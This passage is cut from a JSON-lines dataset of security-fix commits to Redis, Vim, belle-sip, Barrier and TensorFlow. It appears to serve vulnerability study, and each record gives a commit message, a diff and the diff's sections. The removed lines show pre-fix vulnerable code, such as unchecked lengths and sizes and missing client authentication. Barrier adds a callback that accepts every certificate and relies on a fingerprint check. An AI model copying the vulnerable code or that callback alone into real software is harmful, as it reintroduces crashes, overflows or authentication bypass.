XADD will start a new listpack if the new record may cause the previous\n listpack to grow over 1GB.\n- XADD will respond with an error if a single stream record is over 1GB\n- List type (ziplist in quicklist) was truncating strings that were over 4GB,\n now it'll respond with an error.", "patch": "@@ -265,6 +265,17 @@\n ZIPLIST_LENGTH(zl) = intrev16ifbe(intrev16ifbe(ZIPLIST_LENGTH(zl))+incr); \\\n }\n \n+/* Don't let ziplists grow over 1GB in any case, don't wanna risk overflow in\n+ * zlbytes*/\n+#define ZIPLIST_MAX_SAFETY_SIZE (1<<30)\n+int ziplistSafeToAdd(unsigned char* zl, size_t add) {\n+ size_t len = zl? ziplistBlobLen(zl): 0;\n+ if (len + add > ZIPLIST_MAX_SAFETY_SIZE)\n+ return 0;\n+ return 1;\n+}\n+\n+\n /* We use this function to receive information about a ziplist entry.\n * Note that this is not how the data is actually encoded, is just what we\n * get filled by a function in order to operate more easily. */\n@@ -586,7 +597,8 @@ unsigned char *ziplistNew(void) {\n }\n \n /* Resize the ziplist. */\n-unsigned char *ziplistResize(unsigned char *zl, unsigned int len) {\n+unsigned char *ziplistResize(unsigned char *zl, size_t len) {\n+ assert(len < UINT32_MAX);\n zl = zrealloc(zl,len);\n ZIPLIST_BYTES(zl) = intrev32ifbe(len);\n zl[len-1] = ZIP_END;\n@@ -898,6 +910,9 @@ unsigned char *ziplistMerge(unsigned char **first, unsigned char **second) {\n /* Combined zl length should be limited within UINT16_MAX */\n zllength = zllength < UINT16_MAX ? zllength : UINT16_MAX;\n \n+ /* larger values can't be stored into ZIPLIST_BYTES */\n+ assert(zlbytes < UINT32_MAX);\n+\n /* Save offset positions before we start ripping memory apart. */\n size_t first_offset = intrev32ifbe(ZIPLIST_TAIL_OFFSET(*first));\n size_t second_offset = intrev32ifbe(ZIPLIST_TAIL_OFFSET(*second));", "sections": [{"section": "@@ -265,6 +265,17 @@\n ZIPLIST_LENGTH(zl) = intrev16ifbe(intrev16ifbe(ZIPLIST_LENGTH(zl))+incr); \\\n }\n \n+/* Don't let ziplists grow over 1GB in any case, don't wanna risk overflow in\n+ * zlbytes*/\n+#define ZIPLIST_MAX_SAFETY_SIZE (1<<30)\n+int ziplistSafeToAdd(unsigned char* zl, size_t add) {\n+ size_t len = zl? ziplistBlobLen(zl): 0;\n+ if (len + add > ZIPLIST_MAX_SAFETY_SIZE)\n+ return 0;\n+ return 1;\n+}\n+\n+\n /* We use this function to receive information about a ziplist entry.\n * Note that this is not how the data is actually encoded, is just what we\n * get filled by a function in order to operate more easily. */\n", "related": false}, {"section": "@@ -586,7 +597,8 @@ unsigned char *ziplistNew(void) {\n }\n \n /* Resize the ziplist. */\n-unsigned char *ziplistResize(unsigned char *zl, unsigned int len) {\n+unsigned char *ziplistResize(unsigned char *zl, size_t len) {\n+ assert(len < UINT32_MAX);\n zl = zrealloc(zl,len);\n ZIPLIST_BYTES(zl) = intrev32ifbe(len);\n zl[len-1] = ZIP_END;\n", "related": false}, {"section": "@@ -898,6 +910,9 @@ unsigned char *ziplistMerge(unsigned char **first, unsigned char **second) {\n /* Combined zl length should be limited within UINT16_MAX */\n zllength = zllength < UINT16_MAX ? zllength : UINT16_MAX;\n \n+ /* larger values can't be stored into ZIPLIST_BYTES */\n+ assert(zlbytes < UINT32_MAX);\n+\n /* Save offset positions before we start ripping memory apart. */\n size_t first_offset = intrev32ifbe(ZIPLIST_TAIL_OFFSET(*first));\n size_t second_offset = intrev32ifbe(ZIPLIST_TAIL_OFFSET(*second));", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/normal.c", "commit_id": "615ddd5342b50a6878a907062aa471740bd9a847", "commit_message": "patch 8.2.3611: crash when using CTRL-W f without finding a file name\n\nProblem: Crash when using CTRL-W f without finding a file name.\nSolution: Bail out when the file name length is zero.", "patch": "@@ -3881,8 +3881,10 @@ get_visual_text(\n \t *pp = ml_get_pos(&VIsual);\n \t *lenp = curwin->w_cursor.col - VIsual.col + 1;\n \t}\n-\tif (has_mbyte)\n-\t // Correct the length to include the whole last character.\n+\tif (**pp == NUL)\n+\t *lenp = 0;\n+\tif (has_mbyte && *lenp > 0)\n+\t // Correct the length to include all bytes of the last character.\n \t *lenp += (*mb_ptr2len)(*pp + (*lenp - 1)) - 1;\n }\n reset_VIsual_and_resel();", "sections": [{"section": "@@ -3881,8 +3881,10 @@ get_visual_text(\n \t *pp = ml_get_pos(&VIsual);\n \t *lenp = curwin->w_cursor.col - VIsual.col + 1;\n \t}\n-\tif (has_mbyte)\n-\t // Correct the length to include the whole last character.\n+\tif (**pp == NUL)\n+\t *lenp = 0;\n+\tif (has_mbyte && *lenp > 0)\n+\t // Correct the length to include all bytes of the last character.\n \t *lenp += (*mb_ptr2len)(*pp + (*lenp - 1)) - 1;\n }\n reset_VIsual_and_resel();", "related": false}]} +{"owner": "belledonnecommunications", "repo": "belle-sip", "language": "C", "file_name": "src/grammars/belle_sip_messageLexer.c", "commit_id": "d3f0651531e45e91c2e60f3a16a8b612802e5d2d", "commit_message": "-fix via header of CANCEL request\n-fix crash in case of malformed paramless request uri in From header\n-fix crash in case of From header display name with last value set to « \\ »", "patch": "@@ -2,7 +2,7 @@\n * This C source file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-13 15:53:11\n+ * - On : 2021-09-07 16:55:34\n * - for the lexer : belle_sip_messageLexerLexer\n *\n * Editing it, at least manually, is not wise.", "sections": [{"section": "@@ -2,7 +2,7 @@\n * This C source file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-13 15:53:11\n+ * - On : 2021-09-07 16:55:34\n * - for the lexer : belle_sip_messageLexerLexer\n *\n * Editing it, at least manually, is not wise.", "related": false}]} +{"owner": "belledonnecommunications", "repo": "belle-sip", "language": "C", "file_name": "src/grammars/belle_sip_messageParser.h", "commit_id": "d3f0651531e45e91c2e60f3a16a8b612802e5d2d", "commit_message": "-fix via header of CANCEL request\n-fix crash in case of malformed paramless request uri in From header\n-fix crash in case of From header display name with last value set to « \\ »", "patch": "@@ -2,7 +2,7 @@\n * This C header file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-13 15:53:10\n+ * - On : 2021-09-07 16:55:33\n * - for the parser : belle_sip_messageParserParser\n *\n * Editing it, at least manually, is not wise.", "sections": [{"section": "@@ -2,7 +2,7 @@\n * This C header file was generated by $ANTLR version 3.4\n *\n * - From the grammar source file : ../grammars/belle_sip_message.g\n- * - On : 2021-05-13 15:53:10\n+ * - On : 2021-09-07 16:55:33\n * - for the parser : belle_sip_messageParserParser\n *\n * Editing it, at least manually, is not wise.", "related": false}]} +{"owner": "debauchee", "repo": "barrier", "language": "C", "file_name": "src/lib/net/ConnectionSecurityLevel.h", "commit_id": "229abab99f39f11624e5651f819e7f1f8eddedcc", "commit_message": "Implement client identity verification\n\nThis commit fixes two security vulnerabilities: CVE-2021-42072 and\nCVE-2021-42073.\n\nThe issues have been reported by Matthias Gerstner .", "patch": "@@ -21,6 +21,7 @@\n enum class ConnectionSecurityLevel {\n PLAINTEXT,\n ENCRYPTED,\n+ ENCRYPTED_AUTHENTICATED\n };\n \n #endif // BARRIER_LIB_NET_CONNECTION_SECURITY_LEVEL_H", "sections": [{"section": "@@ -21,6 +21,7 @@\n enum class ConnectionSecurityLevel {\n PLAINTEXT,\n ENCRYPTED,\n+ ENCRYPTED_AUTHENTICATED\n };\n \n #endif // BARRIER_LIB_NET_CONNECTION_SECURITY_LEVEL_H", "related": false}]} +{"owner": "debauchee", "repo": "barrier", "language": "C++", "file_name": "src/gui/src/ZeroconfService.cpp", "commit_id": "b5adc93e2bd74cb094f91ff595c07f321a489f3e", "commit_message": "Merge pull request #1346 from p12tic/client-identity-verification\n\nImplement client identity verification [SECURITY VULNERABILITIES CVE-2021-42072, CVE-2021-42073]", "patch": "@@ -66,7 +66,7 @@ ZeroconfService::ZeroconfService(MainWindow* mainWindow) :\n m_ServiceRegistered(false)\r\n {\r\n silence_avahi_warning();\r\n- if (m_pMainWindow->barrierType() == MainWindow::barrierServer) {\r\n+ if (m_pMainWindow->barrier_type() == BarrierType::Server) {\r\n if (registerService(true)) {\r\n m_pZeroconfBrowser = new ZeroconfBrowser(this);\r\n connect(m_pZeroconfBrowser, SIGNAL(\r", "sections": [{"section": "@@ -66,7 +66,7 @@ ZeroconfService::ZeroconfService(MainWindow* mainWindow) :\n m_ServiceRegistered(false)\r\n {\r\n silence_avahi_warning();\r\n- if (m_pMainWindow->barrierType() == MainWindow::barrierServer) {\r\n+ if (m_pMainWindow->barrier_type() == BarrierType::Server) {\r\n if (registerService(true)) {\r\n m_pZeroconfBrowser = new ZeroconfBrowser(this);\r\n connect(m_pZeroconfBrowser, SIGNAL(\r", "related": false}]} +{"owner": "debauchee", "repo": "barrier", "language": "C++", "file_name": "src/lib/net/SecureSocket.cpp", "commit_id": "b5adc93e2bd74cb094f91ff595c07f321a489f3e", "commit_message": "Merge pull request #1346 from p12tic/client-identity-verification\n\nImplement client identity verification [SECURITY VULNERABILITIES CVE-2021-42072, CVE-2021-42073]", "patch": "@@ -54,25 +54,24 @@ struct Ssl {\n SSL* m_ssl;\n };\n \n-SecureSocket::SecureSocket(\n- IEventQueue* events,\n- SocketMultiplexer* socketMultiplexer,\n- IArchNetwork::EAddressFamily family) :\n+SecureSocket::SecureSocket(IEventQueue* events, SocketMultiplexer* socketMultiplexer,\n+ IArchNetwork::EAddressFamily family,\n+ ConnectionSecurityLevel security_level) :\n TCPSocket(events, socketMultiplexer, family),\n m_ssl(nullptr),\n m_secureReady(false),\n- m_fatal(false)\n+ m_fatal(false),\n+ security_level_{security_level}\n {\n }\n \n-SecureSocket::SecureSocket(\n- IEventQueue* events,\n- SocketMultiplexer* socketMultiplexer,\n- ArchSocket socket) :\n+SecureSocket::SecureSocket(IEventQueue* events, SocketMultiplexer* socketMultiplexer,\n+ ArchSocket socket, ConnectionSecurityLevel security_level) :\n TCPSocket(events, socketMultiplexer, socket),\n m_ssl(nullptr),\n m_secureReady(false),\n- m_fatal(false)\n+ m_fatal(false),\n+ security_level_{security_level}\n {\n }\n \n@@ -362,6 +361,11 @@ bool SecureSocket::load_certificates(const barrier::fs::path& path)\n return true;\n }\n \n+static int cert_verify_ignore_callback(X509_STORE_CTX*, void*)\n+{\n+ return 1;\n+}\n+\n void\n SecureSocket::initContext(bool server)\n {\n@@ -397,6 +401,14 @@ SecureSocket::initContext(bool server)\n if (m_ssl->m_context == NULL) {\n showError(\"\");\n }\n+\n+ if (security_level_ == ConnectionSecurityLevel::ENCRYPTED_AUTHENTICATED) {\n+ // We want to ask for peer certificate, but not verify it. If we don't ask for peer\n+ // certificate, e.g. client won't send it.\n+ SSL_CTX_set_verify(m_ssl->m_context, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT,\n+ nullptr);\n+ SSL_CTX_set_cert_verify_callback(m_ssl->m_context, cert_verify_ignore_callback, nullptr);\n+ }\n }\n \n void\n@@ -437,6 +449,24 @@ SecureSocket::secureAccept(int socket)\n \n // If not fatal and no retry, state is good\n if (retry == 0) {\n+ if (security_level_ == ConnectionSecurityLevel::ENCRYPTED_AUTHENTICATED) {\n+ if (verify_cert_fingerprint(\n+ barrier::DataDirectories::trusted_clients_ssl_fingerprints_path())) {\n+ LOG((CLOG_INFO \"accepted secure socket\"));\n+ if (!ensure_peer_certificate()) {\n+ retry = 0;\n+ disconnect();\n+ return -1;// Cert fail, error\n+ }\n+ }\n+ else {\n+ LOG((CLOG_ERR \"failed to verify server certificate fingerprint\"));\n+ retry = 0;\n+ disconnect();\n+ return -1; // Fingerprint failed, error\n+ }\n+ }\n+\n m_secureReady = true;\n LOG((CLOG_INFO \"accepted secure socket\"));\n if (CLOG->getFilter() >= kDEBUG1) {\n@@ -462,6 +492,12 @@ SecureSocket::secureAccept(int socket)\n int\n SecureSocket::secureConnect(int socket)\n {\n+ if (!load_certificates(barrier::DataDirectories::ssl_certificate_path())) {\n+ LOG((CLOG_ERR \"could not load client certificates\"));\n+ // FIXME: this is fatal error, but we current don't disconnect because whole logic in this\n+ // function needs to be cleaned up\n+ }\n+\n createSSL();\n \n // attach the socket descriptor\n@@ -491,9 +527,9 @@ SecureSocket::secureConnect(int socket)\n retry = 0;\n // No error, set ready, process and return ok\n m_secureReady = true;\n- if (verifyCertFingerprint()) {\n+ if (verify_cert_fingerprint(barrier::DataDirectories::trusted_servers_ssl_fingerprints_path())) {\n LOG((CLOG_INFO \"connected to secure socket\"));\n- if (!showCertificate()) {\n+ if (!ensure_peer_certificate()) {\n disconnect();\n return -1;// Cert fail, error\n }\n@@ -512,7 +548,7 @@ SecureSocket::secureConnect(int socket)\n }\n \n bool\n-SecureSocket::showCertificate()\n+SecureSocket::ensure_peer_certificate()\n {\n X509* cert;\n char* line;\n@@ -521,12 +557,12 @@ SecureSocket::showCertificate()\n cert = SSL_get_peer_certificate(m_ssl->m_ssl);\n if (cert != NULL) {\n line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);\n- LOG((CLOG_INFO \"server ssl certificate info: %s\", line));\n+ LOG((CLOG_INFO \"peer ssl certificate info: %s\", line));\n OPENSSL_free(line);\n X509_free(cert);\n }\n else {\n- showError(\"server has no ssl certificate\");\n+ showError(\"peer has no ssl certificate\");\n return false;\n }\n \n@@ -649,8 +685,7 @@ SecureSocket::disconnect()\n sendEvent(getEvents()->forIStream().inputShutdown());\n }\n \n-bool\n-SecureSocket::verifyCertFingerprint()\n+bool SecureSocket::verify_cert_fingerprint(const barrier::fs::path& fingerprint_db_path)\n {\n // calculate received certificate fingerprint\n barrier::FingerprintData fingerprint_sha1, fingerprint_sha256;\n@@ -666,12 +701,10 @@ SecureSocket::verifyCertFingerprint()\n }\n \n // note: the GUI parses the following two lines of logs, don't change unnecessarily\n- LOG((CLOG_NOTE \"server fingerprint (SHA1): %s (SHA256): %s\",\n+ LOG((CLOG_NOTE \"peer fingerprint (SHA1): %s (SHA256): %s\",\n barrier::format_ssl_fingerprint(fingerprint_sha1.data).c_str(),\n barrier::format_ssl_fingerprint(fingerprint_sha256.data).c_str()));\n \n- auto fingerprint_db_path = barrier::DataDirectories::trusted_servers_ssl_fingerprints_path();\n-\n // Provide debug hint as to what file is being used to verify fingerprint trust\n LOG((CLOG_NOTE \"fingerprint_db_path: %s\", fingerprint_db_path.u8string().c_str()));\n ", "sections": [{"section": "@@ -54,25 +54,24 @@ struct Ssl {\n SSL* m_ssl;\n };\n \n-SecureSocket::SecureSocket(\n- IEventQueue* events,\n- SocketMultiplexer* socketMultiplexer,\n- IArchNetwork::EAddressFamily family) :\n+SecureSocket::SecureSocket(IEventQueue* events, SocketMultiplexer* socketMultiplexer,\n+ IArchNetwork::EAddressFamily family,\n+ ConnectionSecurityLevel security_level) :\n TCPSocket(events, socketMultiplexer, family),\n m_ssl(nullptr),\n m_secureReady(false),\n- m_fatal(false)\n+ m_fatal(false),\n+ security_level_{security_level}\n {\n }\n \n-SecureSocket::SecureSocket(\n- IEventQueue* events,\n- SocketMultiplexer* socketMultiplexer,\n- ArchSocket socket) :\n+SecureSocket::SecureSocket(IEventQueue* events, SocketMultiplexer* socketMultiplexer,\n+ ArchSocket socket, ConnectionSecurityLevel security_level) :\n TCPSocket(events, socketMultiplexer, socket),\n m_ssl(nullptr),\n m_secureReady(false),\n- m_fatal(false)\n+ m_fatal(false),\n+ security_level_{security_level}\n {\n }\n \n", "related": false}, {"section": "@@ -362,6 +361,11 @@ bool SecureSocket::load_certificates(const barrier::fs::path& path)\n return true;\n }\n \n+static int cert_verify_ignore_callback(X509_STORE_CTX*, void*)\n+{\n+ return 1;\n+}\n+\n void\n SecureSocket::initContext(bool server)\n {\n", "related": false}, {"section": "@@ -397,6 +401,14 @@ SecureSocket::initContext(bool server)\n if (m_ssl->m_context == NULL) {\n showError(\"\");\n }\n+\n+ if (security_level_ == ConnectionSecurityLevel::ENCRYPTED_AUTHENTICATED) {\n+ // We want to ask for peer certificate, but not verify it. If we don't ask for peer\n+ // certificate, e.g. client won't send it.\n+ SSL_CTX_set_verify(m_ssl->m_context, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT,\n+ nullptr);\n+ SSL_CTX_set_cert_verify_callback(m_ssl->m_context, cert_verify_ignore_callback, nullptr);\n+ }\n }\n \n void\n", "related": false}, {"section": "@@ -437,6 +449,24 @@ SecureSocket::secureAccept(int socket)\n \n // If not fatal and no retry, state is good\n if (retry == 0) {\n+ if (security_level_ == ConnectionSecurityLevel::ENCRYPTED_AUTHENTICATED) {\n+ if (verify_cert_fingerprint(\n+ barrier::DataDirectories::trusted_clients_ssl_fingerprints_path())) {\n+ LOG((CLOG_INFO \"accepted secure socket\"));\n+ if (!ensure_peer_certificate()) {\n+ retry = 0;\n+ disconnect();\n+ return -1;// Cert fail, error\n+ }\n+ }\n+ else {\n+ LOG((CLOG_ERR \"failed to verify server certificate fingerprint\"));\n+ retry = 0;\n+ disconnect();\n+ return -1; // Fingerprint failed, error\n+ }\n+ }\n+\n m_secureReady = true;\n LOG((CLOG_INFO \"accepted secure socket\"));\n if (CLOG->getFilter() >= kDEBUG1) {\n", "related": false}, {"section": "@@ -462,6 +492,12 @@ SecureSocket::secureAccept(int socket)\n int\n SecureSocket::secureConnect(int socket)\n {\n+ if (!load_certificates(barrier::DataDirectories::ssl_certificate_path())) {\n+ LOG((CLOG_ERR \"could not load client certificates\"));\n+ // FIXME: this is fatal error, but we current don't disconnect because whole logic in this\n+ // function needs to be cleaned up\n+ }\n+\n createSSL();\n \n // attach the socket descriptor\n", "related": false}, {"section": "@@ -491,9 +527,9 @@ SecureSocket::secureConnect(int socket)\n retry = 0;\n // No error, set ready, process and return ok\n m_secureReady = true;\n- if (verifyCertFingerprint()) {\n+ if (verify_cert_fingerprint(barrier::DataDirectories::trusted_servers_ssl_fingerprints_path())) {\n LOG((CLOG_INFO \"connected to secure socket\"));\n- if (!showCertificate()) {\n+ if (!ensure_peer_certificate()) {\n disconnect();\n return -1;// Cert fail, error\n }\n", "related": false}, {"section": "@@ -512,7 +548,7 @@ SecureSocket::secureConnect(int socket)\n }\n \n bool\n-SecureSocket::showCertificate()\n+SecureSocket::ensure_peer_certificate()\n {\n X509* cert;\n char* line;\n", "related": false}, {"section": "@@ -521,12 +557,12 @@ SecureSocket::showCertificate()\n cert = SSL_get_peer_certificate(m_ssl->m_ssl);\n if (cert != NULL) {\n line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);\n- LOG((CLOG_INFO \"server ssl certificate info: %s\", line));\n+ LOG((CLOG_INFO \"peer ssl certificate info: %s\", line));\n OPENSSL_free(line);\n X509_free(cert);\n }\n else {\n- showError(\"server has no ssl certificate\");\n+ showError(\"peer has no ssl certificate\");\n return false;\n }\n \n", "related": false}, {"section": "@@ -649,8 +685,7 @@ SecureSocket::disconnect()\n sendEvent(getEvents()->forIStream().inputShutdown());\n }\n \n-bool\n-SecureSocket::verifyCertFingerprint()\n+bool SecureSocket::verify_cert_fingerprint(const barrier::fs::path& fingerprint_db_path)\n {\n // calculate received certificate fingerprint\n barrier::FingerprintData fingerprint_sha1, fingerprint_sha256;\n", "related": false}, {"section": "@@ -666,12 +701,10 @@ SecureSocket::verifyCertFingerprint()\n }\n \n // note: the GUI parses the following two lines of logs, don't change unnecessarily\n- LOG((CLOG_NOTE \"server fingerprint (SHA1): %s (SHA256): %s\",\n+ LOG((CLOG_NOTE \"peer fingerprint (SHA1): %s (SHA256): %s\",\n barrier::format_ssl_fingerprint(fingerprint_sha1.data).c_str(),\n barrier::format_ssl_fingerprint(fingerprint_sha256.data).c_str()));\n \n- auto fingerprint_db_path = barrier::DataDirectories::trusted_servers_ssl_fingerprints_path();\n-\n // Provide debug hint as to what file is being used to verify fingerprint trust\n LOG((CLOG_NOTE \"fingerprint_db_path: %s\", fingerprint_db_path.u8string().c_str()));\n ", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "Python", "file_name": "tensorflow/python/kernel_tests/tridiagonal_matmul_op_test.py", "commit_id": "68422b215e618df5ad375bcdc6d2052e9fd3080a", "commit_message": "Add shape checks to GPU TridiagonalMatMul.\n\nWhen given invalid shapes, the GPU TridiagonalMatMul op could read invalid or uninitialized GPU memory.\n\nPiperOrigin-RevId: 401775483\nChange-Id: Ib5500aeb8225e50d4ce790b06d2c34751f544ad8", "patch": "@@ -19,12 +19,15 @@\n import numpy as np\n \n from tensorflow.python.client import session\n+from tensorflow.python.eager import context\n from tensorflow.python.framework import constant_op\n from tensorflow.python.framework import dtypes\n+from tensorflow.python.framework import errors_impl\n from tensorflow.python.framework import ops\n from tensorflow.python.ops import array_ops\n from tensorflow.python.ops import control_flow_ops\n from tensorflow.python.ops import gradient_checker_v2\n+from tensorflow.python.ops import linalg_ops\n from tensorflow.python.ops import math_ops\n from tensorflow.python.ops import variables\n from tensorflow.python.ops.linalg import linalg_impl\n@@ -175,6 +178,37 @@ def testGradientComplexWithBatches(self):\n rhs = self._randomComplexArray((b, m, n))\n self._gradientTest(diags, rhs, dtype=dtypes.complex128)\n \n+ def _testErrorWithShapesEager(self, exception_regex, superdiag_shape,\n+ maindiag_shape, subdiag_shape, rhs_shape):\n+ with context.eager_mode():\n+ superdiag = array_ops.ones(superdiag_shape)\n+ maindiag = array_ops.ones(maindiag_shape)\n+ subdiag = array_ops.ones(subdiag_shape)\n+ rhs = array_ops.ones(rhs_shape)\n+ with self.assertRaisesRegex(errors_impl.InvalidArgumentError,\n+ exception_regex):\n+ linalg_ops.tridiagonal_mat_mul(superdiag, maindiag, subdiag, rhs)\n+\n+ def testInvalidShapesEagerGpu(self):\n+ if not test.is_gpu_available():\n+ self.skipTest('Test requires GPU')\n+ self._testErrorWithShapesEager('Input must have rank >= 2, but got ',\n+ [2], [2], [2], [2])\n+ self._testErrorWithShapesEager(\n+ 'superdiag must have same rank as rhs, but got 3 and 2',\n+ [2, 1, 2], [2, 1], [2, 1], [2, 2])\n+ self._testErrorWithShapesEager(\n+ 'maindiag must have same outer dimensions as rhs, but for index 0, got '\n+ '3 and 2',\n+ [2, 1, 2], [3, 1, 2], [2, 1, 2], [2, 2, 2])\n+ self._testErrorWithShapesEager(\n+ \"subdiag's second-to-last dimension must be 1, but got 3\",\n+ [2, 1, 2], [2, 1, 2], [2, 3, 2], [2, 2, 2])\n+ self._testErrorWithShapesEager(\n+ \"subdiag's last dimension size must be rhs's second-to-last dimension \"\n+ \"size, but got 3 and 2\",\n+ [2, 1, 2], [2, 1, 2], [2, 1, 3], [2, 2, 2])\n+\n # Benchmark\n class TridiagonalMatMulBenchmark(test.Benchmark):\n sizes = [(100000, 1, 1), (1000000, 1, 1), (10000000, 1, 1), (100000, 10, 1),", "sections": [{"section": "@@ -19,12 +19,15 @@\n import numpy as np\n \n from tensorflow.python.client import session\n+from tensorflow.python.eager import context\n from tensorflow.python.framework import constant_op\n from tensorflow.python.framework import dtypes\n+from tensorflow.python.framework import errors_impl\n from tensorflow.python.framework import ops\n from tensorflow.python.ops import array_ops\n from tensorflow.python.ops import control_flow_ops\n from tensorflow.python.ops import gradient_checker_v2\n+from tensorflow.python.ops import linalg_ops\n from tensorflow.python.ops import math_ops\n from tensorflow.python.ops import variables\n from tensorflow.python.ops.linalg import linalg_impl\n", "related": false}, {"section": "@@ -175,6 +178,37 @@ def testGradientComplexWithBatches(self):\n rhs = self._randomComplexArray((b, m, n))\n self._gradientTest(diags, rhs, dtype=dtypes.complex128)\n \n+ def _testErrorWithShapesEager(self, exception_regex, superdiag_shape,\n+ maindiag_shape, subdiag_shape, rhs_shape):\n+ with context.eager_mode():\n+ superdiag = array_ops.ones(superdiag_shape)\n+ maindiag = array_ops.ones(maindiag_shape)\n+ subdiag = array_ops.ones(subdiag_shape)\n+ rhs = array_ops.ones(rhs_shape)\n+ with self.assertRaisesRegex(errors_impl.InvalidArgumentError,\n+ exception_regex):\n+ linalg_ops.tridiagonal_mat_mul(superdiag, maindiag, subdiag, rhs)\n+\n+ def testInvalidShapesEagerGpu(self):\n+ if not test.is_gpu_available():\n+ self.skipTest('Test requires GPU')\n+ self._testErrorWithShapesEager('Input must have rank >= 2, but got ',\n+ [2], [2], [2], [2])\n+ self._testErrorWithShapesEager(\n+ 'superdiag must have same rank as rhs, but got 3 and 2',\n+ [2, 1, 2], [2, 1], [2, 1], [2, 2])\n+ self._testErrorWithShapesEager(\n+ 'maindiag must have same outer dimensions as rhs, but for index 0, got '\n+ '3 and 2',\n+ [2, 1, 2], [3, 1, 2], [2, 1, 2], [2, 2, 2])\n+ self._testErrorWithShapesEager(\n+ \"subdiag's second-to-last dimension must be 1, but got 3\",\n+ [2, 1, 2], [2, 1, 2], [2, 3, 2], [2, 2, 2])\n+ self._testErrorWithShapesEager(\n+ \"subdiag's last dimension size must be rhs's second-to-last dimension \"\n+ \"size, but got 3 and 2\",\n+ [2, 1, 2], [2, 1, 2], [2, 1, 3], [2, 2, 2])\n+\n # Benchmark\n class TridiagonalMatMulBenchmark(test.Benchmark):\n sizes = [(100000, 1, 1), (1000000, 1, 1), (10000000, 1, 1), (100000, 10, 1),", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/pooling_ops_common.h", "commit_id": "4dddb2fd0b01cdd196101afbba6518658a2c9e07", "commit_message": "Fix segfault in pools on empty shapes when certain dimension were very large.\n\nPooling ops multiply certain components of the input shape, e.g. by multiplying input.shape[1] * input.shape[2] * input.shape[3]. This multiplication could overflow an int64 value if shape[0] was 0 but shape[1], shape[2], and shape[3] were very large, e.g. by passing an input with shape (0, 2**25, 2**25, 2**25).\n\nPiperOrigin-RevId: 404644978\nChange-Id: Ic79f89c970357ca2962b1f231449066db9403146", "patch": "@@ -189,6 +189,9 @@ class MaxPoolingOp : public OpKernel {\n void SpatialMaxPool(OpKernelContext* context, Tensor* output,\n const Tensor& tensor_in, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n // On GPU, use Eigen's Spatial Max Pooling. On CPU, use an\n // EigenMatrix version that is currently faster than Eigen's\n // Spatial MaxPooling implementation.\n@@ -443,6 +446,9 @@ class MaxPoolingV2Op : public OpKernel {\n void SpatialMaxPool(OpKernelContext* context, Tensor* output,\n const Tensor& tensor_in, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n // On GPU, use Eigen's Spatial Max Pooling. On CPU, use an\n // EigenMatrix version that is currently faster than Eigen's\n // Spatial MaxPooling implementation.\n@@ -561,6 +567,9 @@ template \n void SpatialAvgPool(OpKernelContext* context, Tensor* output,\n const Tensor& input, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n typedef Eigen::Map>\n ConstEigenMatrixMap;\n typedef Eigen::Map>", "sections": [{"section": "@@ -189,6 +189,9 @@ class MaxPoolingOp : public OpKernel {\n void SpatialMaxPool(OpKernelContext* context, Tensor* output,\n const Tensor& tensor_in, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n // On GPU, use Eigen's Spatial Max Pooling. On CPU, use an\n // EigenMatrix version that is currently faster than Eigen's\n // Spatial MaxPooling implementation.\n", "related": false}, {"section": "@@ -443,6 +446,9 @@ class MaxPoolingV2Op : public OpKernel {\n void SpatialMaxPool(OpKernelContext* context, Tensor* output,\n const Tensor& tensor_in, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n // On GPU, use Eigen's Spatial Max Pooling. On CPU, use an\n // EigenMatrix version that is currently faster than Eigen's\n // Spatial MaxPooling implementation.\n", "related": false}, {"section": "@@ -561,6 +567,9 @@ template \n void SpatialAvgPool(OpKernelContext* context, Tensor* output,\n const Tensor& input, const PoolParameters& params,\n const Padding& padding) {\n+ if (output->NumElements() == 0) {\n+ return;\n+ }\n typedef Eigen::Map>\n ConstEigenMatrixMap;\n typedef Eigen::Map>", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/util/tensor_slice_reader_test.cc", "commit_id": "abcced051cb1bd8fb05046ac3b6023a7ebcc4578", "commit_message": "Prevent crashes when loading tensor slices with unsupported types.\n\nAlso fix the `Tensor(const TensorShape&)` constructor swapping the LOG(FATAL)\nmessages for the unset and unsupported types.\n\nPiperOrigin-RevId: 392695027\nChange-Id: I4beda7db950db951d273e3259a7c8534ece49354", "patch": "@@ -13,15 +13,19 @@ See the License for the specific language governing permissions and\n limitations under the License.\n ==============================================================================*/\n \n-#include \n-\n #include \"tensorflow/core/util/tensor_slice_reader.h\"\n \n+#include \n+#include \n+\n #include \"tensorflow/core/framework/types.h\"\n #include \"tensorflow/core/framework/versions.pb.h\"\n #include \"tensorflow/core/lib/core/status_test_util.h\"\n #include \"tensorflow/core/lib/core/stringpiece.h\"\n+#include \"tensorflow/core/lib/io/iterator.h\"\n #include \"tensorflow/core/lib/io/path.h\"\n+#include \"tensorflow/core/lib/io/table.h\"\n+#include \"tensorflow/core/lib/io/table_builder.h\"\n #include \"tensorflow/core/lib/strings/str_util.h\"\n #include \"tensorflow/core/lib/strings/strcat.h\"\n #include \"tensorflow/core/platform/env.h\"\n@@ -30,6 +34,7 @@ limitations under the License.\n #include \"tensorflow/core/platform/test.h\"\n #include \"tensorflow/core/platform/types.h\"\n #include \"tensorflow/core/public/version.h\"\n+#include \"tensorflow/core/util/saved_tensor_slice.pb.h\"\n #include 